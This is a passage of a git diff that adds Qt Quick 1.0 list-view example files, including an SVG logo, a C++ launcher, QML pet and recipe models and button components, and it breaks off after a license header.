+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/listview/highlightranges/main.cpp b/examples/declarative/modelviews/listview/highlightranges/main.cpp
new file mode 100644
index 00000000..cd4b76c9
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/highlightranges/highlightranges.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/PetsModel.qml b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/PetsModel.qml
new file mode 100644
index 00000000..76ddccbb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/PetsModel.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ name: "Polly"
+ type: "Parrot"
+ age: 12
+ size: "Small"
+ }
+ ListElement {
+ name: "Penny"
+ type: "Turtle"
+ age: 4
+ size: "Small"
+ }
+ ListElement {
+ name: "Warren"
+ type: "Rabbit"
+ age: 2
+ size: "Small"
+ }
+ ListElement {
+ name: "Spot"
+ type: "Dog"
+ age: 9
+ size: "Medium"
+ }
+ ListElement {
+ name: "Schrödinger"
+ type: "Cat"
+ age: 2
+ size: "Medium"
+ }
+ ListElement {
+ name: "Joey"
+ type: "Kangaroo"
+ age: 1
+ size: "Medium"
+ }
+ ListElement {
+ name: "Kimba"
+ type: "Bunny"
+ age: 65
+ size: "Large"
+ }
+ ListElement {
+ name: "Rover"
+ type: "Dog"
+ age: 5
+ size: "Large"
+ }
+ ListElement {
+ name: "Tiny"
+ type: "Elephant"
+ age: 15
+ size: "Large"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/PressAndHoldButton.qml b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/PressAndHoldButton.qml
new file mode 100644
index 00000000..f160a1de
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/PressAndHoldButton.qml
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: container
+
+ property int repeatDelay: 300
+ property int repeatDuration: 75
+ property bool pressed: false
+
+ signal clicked
+
+ scale: pressed ? 0.9 : 1
+
+ function release() {
+ autoRepeatClicks.stop()
+ container.pressed = false
+ }
+
+ SequentialAnimation on pressed {
+ id: autoRepeatClicks
+ running: false
+
+ PropertyAction { target: container; property: "pressed"; value: true }
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDelay }
+
+ SequentialAnimation {
+ loops: Animation.Infinite
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDuration }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+
+ onPressed: autoRepeatClicks.start()
+ onReleased: container.release()
+ onCanceled: container.release()
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/RecipesModel.qml b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/RecipesModel.qml
new file mode 100644
index 00000000..83baeee8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/RecipesModel.qml
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ title: "Pancakes"
+ picture: "content/pics/pancakes.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup (150g) self-raising flour
+ <li> 1 tbs caster sugar
+ <li> 3/4 cup (185ml) milk
+ <li> 1 egg
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Sift flour and sugar together into a bowl. Add a pinch of salt.
+ <li> Beat milk and egg together, then add to dry ingredients. Beat until smooth.
+ <li> Pour mixture into a pan on medium heat and cook until bubbles appear on the surface.
+ <li> Turn over and cook other side until golden.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Fruit Salad"
+ picture: "content/pics/fruit-salad.jpg"
+ ingredients: "* Seasonal Fruit"
+ method: "* Chop fruit and place in a bowl."
+ }
+ ListElement {
+ title: "Vegetable Soup"
+ picture: "content/pics/vegetable-soup.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 onion
+ <li> 1 turnip
+ <li> 1 potato
+ <li> 1 carrot
+ <li> 1 head of celery
+ <li> 1 1/2 litres of water
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Chop vegetables.
+ <li> Boil in water until vegetables soften.
+ <li> Season with salt and pepper to taste.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Hamburger"
+ picture: "content/pics/hamburger.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 500g minced beef
+ <li> Seasoning
+ <li> lettuce, tomato, onion, cheese
+ <li> 1 hamburger bun for each burger
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Mix the beef, together with seasoning, in a food processor.
+ <li> Shape the beef into burgers.
+ <li> Grill the burgers for about 5 mins on each side (until cooked through)
+ <li> Serve each burger on a bun with ketchup, cheese, lettuce, tomato and onion.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Lemonade"
+ picture: "content/pics/lemonade.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup Lemon Juice
+ <li> 1 cup Sugar
+ <li> 6 Cups of Water (2 cups warm water, 4 cups cold water)
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Pour 2 cups of warm water into a pitcher and stir in sugar until it dissolves.
+ <li> Pour in lemon juice, stir again, and add 4 cups of cold water.
+ <li> Chill or serve over ice cubes.
+ </ol>
+ </html>"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/TextButton.qml b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/TextButton.qml
new file mode 100644
index 00000000..bc684dc1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/TextButton.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property alias text: label.text
+
+ signal clicked
+
+ width: label.width + 20; height: label.height + 6
+ smooth: true
+ radius: 10
+
+ gradient: Gradient {
+ GradientStop { id: gradientStop; position: 0.0; color: palette.light }
+ GradientStop { position: 1.0; color: palette.button }
+ }
+
+ SystemPalette { id: palette }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: { container.clicked() }
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ }
+
+ states: State {
+ name: "pressed"
+ when: mouseArea.pressed
+ PropertyChanges { target: gradientStop; color: palette.dark }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/arrow-down.png b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/arrow-down.png
new file mode 100644
index 00000000..29d1d443
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/arrow-down.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/arrow-up.png b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/arrow-up.png
new file mode 100644
index 00000000..e4373122
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/arrow-up.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/fruit-salad.jpg b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/fruit-salad.jpg
new file mode 100644
index 00000000..da5a6b10
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/fruit-salad.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/hamburger.jpg b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/hamburger.jpg
new file mode 100644
index 00000000..d0a15be1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/hamburger.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/lemonade.jpg b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/lemonade.jpg
new file mode 100644
index 00000000..db445c9a
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/lemonade.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/list-delete.png b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/list-delete.png
new file mode 100644
index 00000000..df2a147d
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/list-delete.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/minus-sign.png b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/minus-sign.png
new file mode 100644
index 00000000..d6f233d7
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/minus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/moreDown.png b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/moreDown.png
new file mode 100644
index 00000000..31a35d5c
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/moreDown.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/moreUp.png b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/moreUp.png
new file mode 100644
index 00000000..fefb9c90
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/moreUp.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/pancakes.jpg b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/pancakes.jpg
new file mode 100644
index 00000000..60c43963
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/pancakes.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/plus-sign.png b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/plus-sign.png
new file mode 100644
index 00000000..40df1134
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/plus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/vegetable-soup.jpg b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/vegetable-soup.jpg
new file mode 100644
index 00000000..9dce3320
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/content/pics/vegetable-soup.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/dynamiclist.qml b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/dynamiclist.qml
new file mode 100644
index 00000000..0144b0d6
--- /dev/null
+++ b/examples/declarative/modelviews/listview/highlightranges/qml/highlightranges/dynamiclist.qml
@@ -0,0 +1,203 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import "content"
+
